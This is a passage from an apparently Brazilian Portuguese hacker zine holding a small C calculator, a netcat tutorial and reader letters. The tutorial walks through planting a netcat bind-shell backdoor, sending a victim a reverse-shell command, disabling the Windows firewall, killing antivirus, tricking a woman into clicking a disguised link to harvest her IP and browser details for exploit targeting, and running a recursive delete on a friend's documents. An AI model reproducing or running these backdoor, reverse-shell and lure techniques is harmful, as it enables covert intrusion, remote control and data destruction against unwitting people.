valorizar 10 min do meu precioso tempo, sou um homem muito ocupado 
rsrsr ^^ (Que mentira da porra!! Passo o dia sem fazer nada rsrs). 


                --------- foxCalc.c ---------

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


int divisao (int a, int b){
  printf ("The result is: %d\n\a", (a / b));
   printf ("Press Any Key For Exit...");
  system ("pause > nul");}
      
int multiplicacao (int valor1, int valor2){
    printf ("The result is: %d\n\a", (valor1 * valor2));
     printf ("Press Any Key For Exit...");
    system ("pause > nul");}
    
int subtracao (int valor1, int valor2){
   printf ("The result is: %d\n\a", (valor1 - valor2));
    printf ("Press Any Key For Exit...");
   system ("pause > nul");}

int main ()
{
    int operation;
    Label:
    system ("cls");
    system ("title Simple Calculator v0.1 Beta");
    printf ("Simple Calculator v0.1 Beta by 6_Bl4ck9_f0x6\n\
    Copyright 200*-2008 Viper Corp.\n\n\n");
    printf ("======================================================\n");
    printf ("Sintax:\n\n[+ = somar] [- = subtrair] [* = multiplicar] \
[/ = dividir]\n\n"); 
    printf ("======================================================\n");
    printf ("Write your operator:");
    scanf ("%c", &operation);
    if (operation == '+')
    {
     int numberone, numbertwo;
     system ("cls");
     printf ("This is your operator (+)\n\n");
     printf ("Write first number and press enter:");
     scanf ("%d", &numberone);
     printf ("Write secound number and press enter:");
     scanf ("%d", &numbertwo);
     printf ("\n%d + %d = %d\n\n", numberone, numbertwo,(numberone + numbertwo));
     printf ("Press Any Key For Exit...");
     system ("pause > nul");
     return (0);
     }
     else if (operation == '-')
     {
      int numberone, numbertwo;
      system ("cls");
      printf ("This is your operator (-)\n\n");
      printf ("Write first number and press enter:");
      scanf ("%d", &numberone);
      printf ("Write secound number and press enter:");
      scanf ("%d", &numbertwo);
      subtracao (numberone, numbertwo);  
      return (0);
     }
     if (operation == '*')
     {
     system ("cls");
     int operador1, operador2;
     printf ("This is your operator (*)\n\n");
     printf ("Write first number and press enter:");
     scanf ("%d", &operador1);
     printf ("Write secound number and press enter:");
     scanf ("%d", &operador2);
     multiplicacao (operador1, operador2);
     return (0);
     }
     if (operation == '/')
     {
     int valor1, valor2;
     system ("cls");              
     printf ("This is your operator (/)\n\n"); 
     printf ("Write first number and press enter:");
     scanf ("%d", &valor1);
     printf ("Write secound number and press enter:");
     scanf ("%d", &valor2);
     divisao (valor1, valor2);
     return (0);
     }     
     else 
     {
     system ("cls");
     printf ("\n\nSorry your operator is invalid...");
     Sleep (1000);
     goto Label;
     }
     return (0);
} 

  --------- cut ---------

Eu acho que eu esqueci de alguma coisa, hum...


----- C4p1Tul0 15

[+ ====================================== +] 
            X=======xxXxx========X             
            -> O Imortal Netcat <- 
            X=======xxXxx========X                                    
[+ ====================================== +


[]==-----------------x-------X----------x-----------------------==[]
  Ateno: C voce "pensa" que manja tudo do netcat e esta louco
  para dizer que o assunto do texto ja ta mais manjado que arroz e 
  feijo, gostaria de dizer uma coisa for you -> Esse texto naum  
  para voce amigo =) 
                  
                   Ideia extract from zine f3-06:
  
                        ==> ~~~ ( * )

                  To gozando no cu de voceis :P
                                   
[]==-----------------x-------X----------x-----------------------==[]
 

Esse texto e todos os outros que eu vinher a escrever, sero dedicados
a todos os escritores de textos que um dia cheguei a ler =) Um eterno 
aprendiz como eu nunca seria nada sem todos voces, na verdade ninguem
seria nada sem ninguem, trocamos conhecimentos para evoluir juntos, ou 
(quase sempre) apenas exibir nossos conhecimentos sem a menor preteno 
de ajudar o proximo, escrevendo txt's de dificil compreenso por parte 
dos iniciantes e de curiosos que poderiam vir a ser novos talentos no 
nosso mundo, ou undermundo, backmundo, foremundo =) Enfim, vamos
comear a baixaria -.O. Na minha mais que sincera opinio, a melhor 
ferramenta manoh! Se eu pegar algum filho de uma * arromb4do dizendo
que o netcat num presta, eu soco uma torradeira no * desse fdp.Cof! Cof!
Desculpem a baixaria, agora to + calmo =)

Voce pode fazer muuitas coisas com o netcat, quando digo muitas, eu quero
dizer "muuuuitas" msm. Para um help digite nc -h, vou traduzir apenas as 
options que iremos utilizar, pois a inteno aqui  lhe da uma boa "base" 
do netcat ;)


C:\>nc -h
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, background mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Baixem o netcat aqui:

v1.11 NT

http://www.hunterhacker.xpg.com.br/22.zip

Voce pode entrar no diretorio dos arquivos do nc usando o 'cd', 
ou mesmo ajustar seu PATH para encontrar o diretorio do rapaz. 
Sem duvida uma das formas de utilizao mais rapidas e menos 
cheias de frescura,  extrair para o system32 =) Ou seja, 

             baixou -> extract for system32 ;)

Ja que vc's viram o 'system32', isso significa que iremos utilizar 
qual OS? Aeee! Se vc respondeu -> win <- ganhou um beijinho 
imaginario (claro!) :P Mas... ainda nesse texto abordaremos a 
instalao e utilizao do netcat em -> Unixes like <- da vida, pois 
como sempre, se tu comear no win, fica mais facil mecher nos 
-> Unixes like da vida <-, tipo, eu mostro a utilizao no win e 
depois (que voces entenderem)  s adaptar pequenas coisinhas
para o netcat funcionar nos -> Unixes like da vida <-, so 
pequenos detalhes como a opo '-L' (Ei <-- Isso  case =) 
que no rebindeia a porta apos a encerramento da conexo, 
porque os Unixes -> like da vida <- so muito fulero's, mas tambem 
tem a questao das portas no -> Unixes like da vida <-, porque 
abaixo de 1024 s root tem permisses para bindear uma porta.
Eh amigo, o -> Unix like da vida <-  fogo =)

Continuando... 

 
Vamos a algumas options traduzidas e adaptadas by me (:]) manoh!

========================================================
-d -> Com essa porra o netcat fica rodando em background.
-e -> Posso manipular um program para que o user mecha quando ele der um TCP 
connect na door em listen.

-l -> Abre uma porta, quando o maluco desconectar ela fica fechada 
-L -> TB Abre abre uma porta, mas dessa vez a porta vai reabrir aps o closesocket 
do maluco.  

-n -> S cata number's IP, nada de DNS baby ;)
-p -> Determina qual a porta que ser aberta
-r -> Randomize local and remote ports
-u -> UDP mode 
-v -> Verbose do capeta manoh!  Usa ai o -vv
-w -> Determina um tempo limite para durao de uma conexo
-z -> Num deixa o netcat ficar conectado num scan
========================================================

Backdoor 

Vamos fazer uma backdoor com o netcat:

C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe
listening on [any] 666 ...

-------------------------------------------------
Da um telnet nessa porta -> telnet 127.0.0.1 666 
-------------------------------------------------

C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe
listening on [any] 666 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1655

La no cliente:

Microsoft Windows XP [verso 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>
 
Explicao:

nc -L      -p 666       -vv     -e cmd.exe -> Manipulamos o shell que ja ta no PATH ;) <-
|   |      | _ _ |         |
|   |         |            + -> A tal da verbose para obtermos mais informaes na action's 
|   |         |
|   |         + ->Definimos que seria a porta '666' a aberta <-
|   | 
|   + -> Abre a tal da porta, reabrindo a mesma depois do closesock <-
|  
+ -> Sempre usar 'nc' antes da sintaxe :] lol <-


Rodando netcat na memoria 

Quando o server-side fecha a shell que ta recebendo a conexo, o cliente morre (d),
mas acho que isso ta na cara :P, para evitar isso foi criado a opo -d ;) 

nc -L -p 666 -d -e cmd.exe

Sempre que o cliente conecta vai ter uma shell esperando ele =) Lembrando que at a
vitima fazer logoff ou algo do tipo :P, mas voce pode iniciar o bicho na maquina usando 
o reg add e compilando um batch em aplicao fantasma. Para matar pegue a pid do 
garoto:

C:\Documents and Settings\David>tasklist

Nome da imagem            Identi Nome da sesso    Sesso# Uso de memr
========================= ====== ================ ======== ============
System Idle Process            0 Console                 0         20 K
System                         4 Console                 0         48 K
smss.exe                     680 Console                 0         44 K
csrss.exe                    736 Console                 0      1.100 K
winlogon.exe                 760 Console                 0      2.912 K
services.exe                 808 Console                 0      1.284 K
lsass.exe                    820 Console                 0      1.320 K
explorer.exe                 260 Console                 0     12.880 K
HackerEliminator.exe        1164 Console                 0      5.568 K
ashDisp.exe                 1212 Console                 0        660 K
msdtc.exe                   1584 Console                 0         56 K
Abel.exe                    1708 Console                 0         48 K
aswUpdSv.exe                1860 Console                 0         52 K
ashServ.exe                 1900 Console                 0      1.564 K
inetinfo.exe                1960 Console                 0      1.220 K
PGPsdkServ.exe              1992 Console                 0      1.020 K
locator.exe                  336 Console                 0         28 K
snmp.exe                     376 Console                 0        420 K
tlntsvr.exe                  548 Console                 0         48 K
wdfmgr.exe                   592 Console                 0         40 K
winvnc4.exe                 1376 Console                 0        700 K
vmnetdhcp.exe                824 Console                 0        292 K
cmd.exe                     3268 Console                 0        800 K  
nc.exe                      3596 Console                 0      1.812 K  < ----
nc.exe                      2764 Console                 0      1.964 K  < ----
tasklist.exe                3168 Console                 0      4.684 K
wmiprvse.exe                 788 Console                 0      3.980 K

Achamos os processos pelas imagens (nc.exe) e temos suas PID's, 
vamos meter um unico tiro na's cabea's dessa's porra's manoh! 

C:\Documents and Settings\David>taskkill /f /PID 3596 & taskkill /f /PID 2764 & echo Bang!
XITO: o processo com PID 3596 foi encerrado.
XITO: o processo com PID 2764 foi encerrado.
Bang!


-n -> Only Numerical :P (inglish vagabundo =)

DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2256   --> Sem -n <--

C:\Documents and Settings\David>nc -L -n -p 666 -vv -e cmd.exe
listening on [any] 666 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1760  --> Com o -n <--


 ------ > Engraadamente netcat <  ------

Isso ae  baum proces zuarem com seus manow's:
            
                   --- sangue_baum.bat ---

@echo off 
:Magic
set Magic_word=Queijo
set /p palavra_magica=Digite a palavra magica ai manoh:
if /I %palavra_magica% EQU %Magic_word% (
exit ) ELSE (
echo Esta Magic_word esta... Errada!! =] & pause) 
goto :Magic
 
                  --- cut nessa porra here =) ---

C:\Documents and Settings\David>nc -L -p 789 -vv -e \sangue_baum.bat
listening on [any] 789 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1807

Cliente:

Digite a palavra magica ai manoh:  < ----  hauhauha!!!


 ------ > Varrendo hosts com o netcat < ------

C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-22
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
localhost [127.0.0.1] 20 (ftp-data): connection refused
sent 0, rcvd 0: NOTSOCK

To varrendo da porta 22 a porta 20 do meu addr de loopback, regredindo manoh.
O '-z' foi usado ai pro netcat num parar na porta de algum servio, ou seja, assim
ele conecta e desconecta. Sem o '-z':

C:\Documents and Settings\David>nc -vv 127.0.0.1 20-22
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
220-Microsoft FTP Service
    =========================
    Bem vindo ao Machinered
220 =========================

Sacou manoh!? Usei duas verboses ai para obter mais informaes sobre 
o scan. Se quizermos obter na shell, a saida somente com portas abertas 
no host varrido, utilizamos apenas uma verbose:

C:\Documents and Settings\David>nc -z -v 127.0.0.1 10-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 25 (smtp) open
localhost [127.0.0.1] 23 (telnet) open
localhost [127.0.0.1] 21 (ftp) open

Very easy! Mas para a galerinha que ta comeando  sempre bom ver
o nome dos protocolos e as suas respectivas portas "padres", por 
isso no recomento o uso de uma verbose por parte dos iniciantes =)

 -------- > Com o -n < -------- 

(UNKNOWN) [127.0.0.1] 22 (?): connection refused
(UNKNOWN) [127.0.0.1] 21 (?) open
(UNKNOWN) [127.0.0.1] 20 (?): connection refused
sent 0, rcvd 0: NOTSOCK

Repara aqui manoh! ->  21 (?)  <- O netcat num mostrar
nem o nome do servio, quando vc ta usando a opt -n :P 

 -------- > Sem o -r < --------

C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1]   ->   25  <-    (smtp): connection refused
localhost [127.0.0.1]   ->   24  <-     (?): connection refused
localhost [127.0.0.1]   ->   23  <-     (telnet) open
localhost [127.0.0.1]   ->   22  <-     (?): connection refused
localhost [127.0.0.1]   ->   21  <-     (ftp) open
localhost [127.0.0.1]   ->   20  <-      (ftp-data): connection refused
sent 0, rcvd 0: NOTSOCK

 -------- > Com o -r < --------

C:\Documents and Settings\David>nc -z -r -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1]   ->   21 <-   (ftp) open
localhost [127.0.0.1]   ->   22 <-   (?): connection refused
localhost [127.0.0.1]   ->   24 <-   (?): connection refused
localhost [127.0.0.1]   ->   25 <-   (smtp): connection refused
localhost [127.0.0.1]   ->   20 <-   (ftp-data): connection refused
localhost [127.0.0.1]   ->   23 <-   (telnet) open
sent 0, rcvd 0

Repare bem na sequencia =)

  ------->Usando o -w<-------

Bem, vamos supor que por algum motivo qualquer voce queira ver os 
banners dos servios nox host'x remotos na hora da varredura, eu at 
entenderia isso, pois pode ser uma boa auternativa se tratando de 
ataque de footprint ;)
 
C:\Documents and Settings\David>nc -w 1 -r -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 20 (ftp-data): connection refused
localhost [127.0.0.1] 25 (smtp) open
220 Sendmail 8.11.13   < -- Banner gerado por um honeypot de baixa interatividade
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 24 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
220-Microsoft FTP Service
    =========================
    Bem vindo ao Machinered
220 =========================
net timeout
localhost [127.0.0.1] 23 (telnet) open
%$3222@!!# net timeout      < -- Representando o's Lixos (ASCII's)
sent 0, rcvd 141: NOTSOCK
 
Explicao: 

nc -w 1 -r -vv 127.0.0.1 20-25 --> Varre da porta 20 a 25 romdomizando
as portas, se conecta, exibe o banner e disconnect depois de 1 seg ;]
Achu que Servidores, costumam mostrar seus nomes e suas versoes no banner manoh!!
Imagina ai aqueles servers velhos de guerra vulveraveis a overflow, como 
o ->'Sami FTP Server'<- Se voce encontrar alguns destes, pode at conseguir
acesso ao sistema do camarada "remotamente" utilizando algun exploit, ou simplesmente 
derrubalos enviando buffer's diabolicos com grandes quantidades de bytes 
Ateno:           --> (D.O.S  coisa de Kiddie ;) <--

S os banners manoh!

C:\Documents and Settings\David>nc -w 1 -v 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator

localhost [127.0.0.1] 25 (smtp) open
220 Sendmail 8.11.13  -- > Essa porra de "Sendmail" tem mais bug que formigueiro  

Pergunta: Por que algum usaria um servidor telnet que no seja o do windows? 
Fauta de conhecimento? Yes!  disso que precisamos, precisamos de vitimas que 
no saibam o que esto fazendo :P

localhost [127.0.0.1] 23 (telnet) open
lixo%&*9854  < --- Monte de lixo :P


localhost [127.0.0.1] 21 (ftp) open
220 Eu_sou-vulneravel-ftp 1.7.0   --> Temos aqui a verso 1.7.0 do programa 
Eu_sou-vulneravel-ftp, e que todos sabem que  vulneralvel (menos o sysop do host rsrs)

O -w  muito bom pra brincar de dar um tempo para um cliente-side fazer
o que quizer no seu sistema, tipo, um amigo foi brincar disso comigo e se
arrependeu :]

-----------------------------------------------------------------------------
    ----> erase /F /S /P "%HOMEPATH%\Meus documentos" <----
-----------------------------------------------------------------------------

C:\Documents and Settings\David>erase /F /S /P "%HOMEPATH%\Meus documentos"
C:\Documents and Settings\David\Meus documentos\connect.cpp, Excluir (S/N)? S <- Fudeu! :]
Arquivo excludo - C:\Documents and Settings\David\Meus documentos\connect.cpp
C:\Documents and Settings\David\Meus documentos\elhacker.net.url, Excluir (S/N)? <- Ctrl+c for jump
C:\Documents and Settings\David\Meus documentos\Explorer.scf, Excluir (S/N)? n <- Bonzinho ^^ 
C:\Documents and Settings\David\Meus documentos\IMAGEM!!!.JPG, Excluir (S/N)? n <- 1 Angel ^^  
C:\Documents and Settings\David\Meus documentos\Netstat.cpp, Excluir (S/N)? <- Ctrl+c [jump]
C:\Documents and Settings\David\Meus documentos\Netstat.exe, Excluir (S/N)? < -- Jump
C:\Documents and Settings\David\Meus documentos\Netstat.zip, Excluir (S/N)? < -- Jump
C:\Documents and Settings\David\Meus documentos\Readme.txt, Excluir (S/N)?  < -- Jump

TIRA O ->'/P'<- MANOH! :]

Conexo reversa usando o netcat ;]

No seu host deixe duas portas listening 


C:\>nc -L -p 1 -vv         
listening on [any] 1 ...     < ------Receber-a-conexo----------- +
                                                                     
                                                                      
                                                                           
C:\>nc -L -p 2 -vv                                 
listening on [any] 1 ...     < ------Receber-a-conexo----------- +                       


Manda pra vitima algo do tipo compilado ou em 'batch' mesmo:

nc ->inet_addr<- 1 | cmd.exe | nc ->inet_addr<- 2 

Onde inet_addr  o seu endereo logico = ->IP<-

Para testar use seu end de loopback, ficando assim:

nc 127.0.0.1 1 | cmd.exe | nc 127.0.0.1 2 

======================================
C:\>nc -L -p 1 -vv
listening on [any] 1 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1933
======================================
C:\>nc -L -p 2 -vv
listening on [any] 2 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1934
Microsoft Windows XP [verso 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>
======================================


C:\>nc -L -p 1 -vv
listening on [any] 1 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1946
dir   <---- Executa os command's nessa shell manoh! e ->Olha a saida na outra<-



 []==xXx========[ ******* ]========xXx==[]
   ---- > Sniffer with netcat < ---- 
       x              x               x
 []==xXx========[ ******* ]========xXx==[]

Use um redirecionador de url qualquer e mande seu endereo IP 
"disfarado" para a vitima :] Tipo assim, manda pra uma mina
(vitima = Feminino -> Que cara maxista =) uma url bem loca, 
algo mais ou menos do tipo:

quero_seu_ip_gostosa.4-all.org 

Se liga no FQDN ->Grates!!<- Se liga no dominio ->Se cadastra!<-

A Parada  essa truta:

nc -L -p 80 -vv > \daemon_log.log

Se liguem que a porta de servidor de web  a 80 (http), os browser's
por default costumam se conectar nos host's da vida pela porta 80, ou 
seja -> Porta que est em listen no seu host. Vc's lembram que com 
verbose o netcat mostra o endereo IP do cliente-side quando ele se 
conecta? Entaum... Bingo!! 

                ---> http://localhost <---

C:\Documents and Settings\David>nc -L -p 80 -vv >> \daemon_log.log
listening on [any] 80 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2004

Reparem que utilizei um redirecionador para jogar a saida (result's)
para o arquivo daemon_log.log na minha raiz ('\'). Vamos ver os logs:


C:\Documents and Settings\David>type \daemon_log.log
GET / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

              ->PARA QUEM GOSTA DE FOOTPRINT AI  UM PRATO CHEIO MANOH!<-
 
   User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0

Tem exploit que so funfa para determinados browser's (Mozilla/5.0), determinados OS's 
(Windows) e podem ser apenas para certo idioma (pt-BR), pois as vezes fica complicado
achar uma falha universal e tals ;)

Lembrando que o nc re-bindea a porta para aguardar + vitimas ;] E j que
o redirecionador '>>' sempre acrescenta novos bytes no final do arquivo,
eu posso ter uma grande lista de endereos IPs e informaes de browsers, 
OS's e etc se eu tiver um pingo de raciocinio em minha mente... e se meu 
MSN estiver 
                        --> movimentado =) <--

Acho melhor que estabelecer uma conexo usando VOIP, mandar link 
sempre da menos na telha ^^. Tipo, com o netstat c pode pegar um IP, 
C vai mandar uma foto, sua maquina vai mandar um SYN pro host, ento 
o netstat imprime um -> SYN_SENT <- e tal's, mas se vc naum tiver um 
bom queixo, a vitima desconfia dessas fotinhas e tals, e para justificar
url furada  mais facil manoh!! =)

Detalhes, Detalhes

Manoh! Se liga! Se a vitima estiver usando um proxy, voce vai pegar o 
IP do proxy cara, e como eu estava falando, se ela de um netstat ela pega
teu IP facim, facim, porque ai vai rolar um bacanal (

  Proto  Endereo local         Endereo externo       Estado
  TCP    Violator:http          localhost:2031         ESTABLISHED) 

sacou? Ou at mesmo um:

  Proto  Endereo local         Endereo externo       Estado
  TCP    127.0.0.1:80           127.0.0.1:2031         ESTABLISHED

Loopback  foda Xp

                                     --->Mais detalhes<--- 

Tu naum vai pensando que  100% maravilhas mexer com o netcat naum manoh.
Se liga c tu consegue abrir as portas da vida, ou seja -> se liga no firewall manoh! 
Para desabilitar o fw do windows (default), basta digitar
                   
                           ->  net stop sharedaccess <- 

e katapimba! Caso for o zone alarm e essas paradinhas da vida, tenta usar um killer,
procura o que o Royall codou. Achu que mata mais de 500's, um amigo disse que 
era 10 mil XPXPXP Eita!! Nunca parei para contar ^^, mas o batch  muito loco 
msm, num vo postar l no FTP proces, pq num to com sacow para procurar o killer.
E tipo assim, escrever textos contendo link's furados eh fogo, my's txt's tem que ser
eternamente perfect's (Mas porque o: http://www.hunterhacker.xpg.com.br/22.zip?)
(Porque eu quiz porr4! X). ah! Parece que a vQue eu tenho, num pega o KasperSky pq 
ele ta apelando (foi isso que eu ouvi la no forum =)

     --- > Enviando e recebendo arquivos (and ASCII's in Shell ) <--  

Esse negocio de env(f)iando e recebendo pode lhes parecer um tanto quanto....
Imundo!! Mas tipo assim,  verdade XP. Se liga ai:

 Exemplo de 'printf' em string'x nos files (ASCII'S):

C:\Documents and Settings>echo Hi Guys! > \my_file.diz & nc -l -p 6969 -vv < \my_file.diz
listening on [any] 6969 ...

  -> telnet 127.0.0.1 6969 <- 

Hi Guys!         --- > Na janela do shell 
_

DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2095
 sent 12, rcvd 0       < -- Detalhe manoh! 

Quando estamos escutando em uma porta e rebindeando a mesma, 'ou no',
-> podemos visualizar relatorios de envio (send) e recebimento 
(recv =) dos dados na conexo passada, usando duas verboses (-vv) manoh:

sent 12, rcvd 0

sent -> Enviado 
rcvd -> Recebido

Ja que minha anterior sintaxe de conexo foi 'apenas' para 
'conectar' (lolz), assim lendo o conteudo no arquivo 'my_file.diz'
->  na shell, vamos utilizar o netcat para pegar o file agora:

C:\Documents and Settings\David>nc 127.0.0.1 6969 > \file.diz
^C   < -- Ctrl + C (Ja peguei o file msm :P eh he he...)
C:\Documents and Settings\David>type \file.diz
Hi Guys!

sent 12, rcvd 0 <-- S pra dar um verniz, que se pode obter os dados do trafego
na janela servidora ( ->Por causa das "duas" verboses<- ) ;]

Ei! Isso tambm funfa com binario viu manoh! Claro que vc sacou, nem 
precisava ter falado ;)  Manja a sintaxe ae manoh (-w 3): 

C:\Documents and Settings\David>nc -w 3 127.0.0.1 6969 > \file.diz

Achu que em 3 sec's da pra pegar dboa o my_file.diz e passar pro outro lado como
-> file.diz X-). Lembrando que utilizei o -w Wait -> 'no cliente-side' <-.O>

-.-

 --- > File flood ahuahuah! < --- 

-.-

Putz, com essa historia de file flood eu fui floodado no dk (me baniram hauhauha!!),
zuera, num foi por causa dissU naum, mas dexa qetu. Tipo, num  um file flood naum, 
...como eu posso dizer... um repositorio de string que voce ter do outro lado, tipo 
assim, manda tua mina se conectar e comear a escrever sobre a relao nesse texto 
que ser armazenado num file do outro lado (server-side), pq tu ta de saida e tals:

C:\Documents and Settings>nc -l -p 222 -vv > escreve_pirada.txt
listening on [any] 222 ...


Pirada -> nc 127.0.0.1 222 

Escreveu no shell -> Vou comer seu figado cretino!!

connect to [127.0.0.1] from localhost [127.0.0.1] 2162
 sent 0, rcvd 31 < -- =)

O bom de voce utilizar o nc para se conectar nas coisas est ai amigos, tipo, com 
o telnet voce nao conseguiria ver o que estava escrevendo, ja com o netcat sim!! 
Sem duvida, o melhor cliente de qualquer coisa  o netcat, tipo, se ainda no achou 
algum servidor que ele num connect bem :P, adapta ele =)

Ainda existe diversas coisas maneiras, mas eu paro por aqui!!! Tipo, tem muuuita
coisa mesmo irmos, o netcat pode ser usado para tudo! Cliente POP, FTP, etc.
O escabal manoh! Espero que tenham gostado de mais um txt meu, e espero muito 
continuar escrevendo a zine para todos voces evoluirem com o que eu um dia gostei
de aprender, assim tambm evoluindo =)

Ei, achu que estou esquecendo de alguma coisa... Ah! Lembrei:

Netcat Linux 

Opa, vamos comear baixando a ferramenta ^^... Baixa o netcat para linux ai manoh! ehehe. 
Nao tenho nada contra o AV Killer do Royall, s que to com preguia de postar e o netcat 
ja ta la no host e tals :]  -> : http://www.hunterhacker.xpg.com.br/netcat-0.7.1.tar.gz

Cara, descompacta essa parada ai e instala com -> ./configure && make && make install 
e faz tudo ai em cima descrito no texto, s que onde tem cmd.exe tu bota /bin/bash ou sh 
ou qualquer outro shell (Se bobear bota at o 'false' -> oh! <-_) prontu! Voce agora eh um 
hacko mais hackitico que existe :P 

                                                                         6_Bl4ck9_f0x6
                                                                         Viper Corp Group


----- C4p1Tul0 16

[+ ====================================== +] 
               -> MAIL BOX  <-
      xxxxxxxxxxxxXXXxXXXxxxxxxxxxxxxxxxxxx                                       
[+ ====================================== +] 


De: ALIG_wicked
Subject: Yo Raposa ...


Entao velho naum esquenta com os post's ...

O lance do video que quero fazer pra vc naum ter surpresa eh assim:

Eu queria mostrar um outro mundo mais profissional...
Honestamente vejo um potencial em ti ... desde que voce naum acabe indo
pro lado da criminalidade. Naum estou dizendo que vc faz parte desse mundo 
ou que um dia fara'. Na verdade queria citar p q tive um amigo a uns 10 anos 
atras que acabou numa penitenciaria e viciado em coca. O cara manjava muito
mais que eu ... ele tinha esse mesmo entusiamo que vejo em vc hoje.

entao,
Dias 22,23 e 24 ... estarei participando da Infosecurity Europe 
( http://www.infosec.co.uk/ ) naum eh um evento tipo blackhat ou defcon .. na 
verdade eh um evento dos patroes dos caras que participam da blackhat e defcon 
( hehehe ). Mais empresarial mesmo. Estarei lah p q como falei estou estruturando 
a minha propria empresa e vou atras de contactos e etc ...

E vou postar aqui no ISTF. Mais boca de siri ateh lah...

Sobre o projeto metasploit-br tah paradao ateh eu terminar as coisas da minha 
empresa. Tenho que ter foco ou naum termino nem uma coisa nem outra.

Estou te mandando um livro sobre o metasploit razoavel caso vc naum tenha.
Bem, acho que tu jah podes pular lah pra pagina 147 .

Capitulo: Cases Estudies.

Baixe aqui:
http://rapidshare.com/files/103054431/Metasploit_Toolkit_-_Syngress.pdf.html

Do meu lado, na verdade estah estacionando um tutorial que estou fazendo baseado
num exemplo onde escrevemos um exploit do zero (com algumas modificacoes minhas)
do livro ShellCoders . Muito ditadico. Apliquei ao metasploit ... mais como falei 
infelizmente naum posso mudar o foco das coisas que tenho fazer nesse momento.

[s]

--Andre.

Resposta:

Isso ai foi um MP que ele me mandou no ISTF, ou seja, se um de meus maiores idolos 
est dizendo que eu tenho potencial, isso significa que... eu realmente devo ter =)
Sei que essa porra aqui no  um ->MPBox<- e sim ->MailBox<-, mas ta valendo, s
estou me sentindo o tal =) Tipo assim, procurem saber mais sobre o Andre Amorim, 
vejam o seu site (OST pentest) e tals, dai voces me digam dpois se naum era para eu
estar me achando eheheh. Andr:

Voce  o cara manoh =)
 
                          ========== X === X ==========

De: Morticia
Subject: Ei cara...

Meu querido 6_Bl4ck9_f0x6,

Gostaria muito de saber se pretende publicar algum texto meu em sua zine, ...
 que eu gostaria muito de faze-la evoluir assim como voce evolui, nunca vi um 
menino conseguir ler um book daqueles que te passei em um dia e no outro dizer
para mim que fez um soft maneiro baseado no que aprendeu...

Como voce pode ter a cara de madeira de dizer que ainda faz o primeiro ano 
com 18 anos...? ce vc tem essa capacidade toda de raciocinio. Ainda vou em 
sua cidadezinha lhe ver meu caro, e v se para de escrever em alguns textos 
seus que  meu f, pois me parece que as coisas esto se invertendo...:)

Um abrao moleque maneiro e no deixa de mandar noticias. 

Resposta:

Enfim pessoal, temos aqui um classico caso de f3licidade multipla, DOIS de
meus maiores idolos me elogiam...:) Morticia e Andr, ta fautando ainda aqui
o nosso amigo Rodrigo Rubira (Eita!!! ), voodoo (Eita!!!) e nash leon (Eita!!!).
Com relao aos seus textos Mort's, pretendo publica-los em um futuro bem
proximo, seguinte, nessa zine aqui eu escrevo apenas coisas minhas (por enquanto),
tenho ela mais como passa-tempo e tals, mas da proxima achu que vou abrir uma 
exceo, tenho varios textos da galera e at pouco tempo atraz tava afim de 
publica-los aqui, mas.... -> Os textos vo para a minha outra zine que brevemente
estar saido na sua BSS mais proxima (Eita!!!), de onde desenterrei essa coisa
ultrapassada de BSS? Afz, quem gosta de velharia  museu ;)

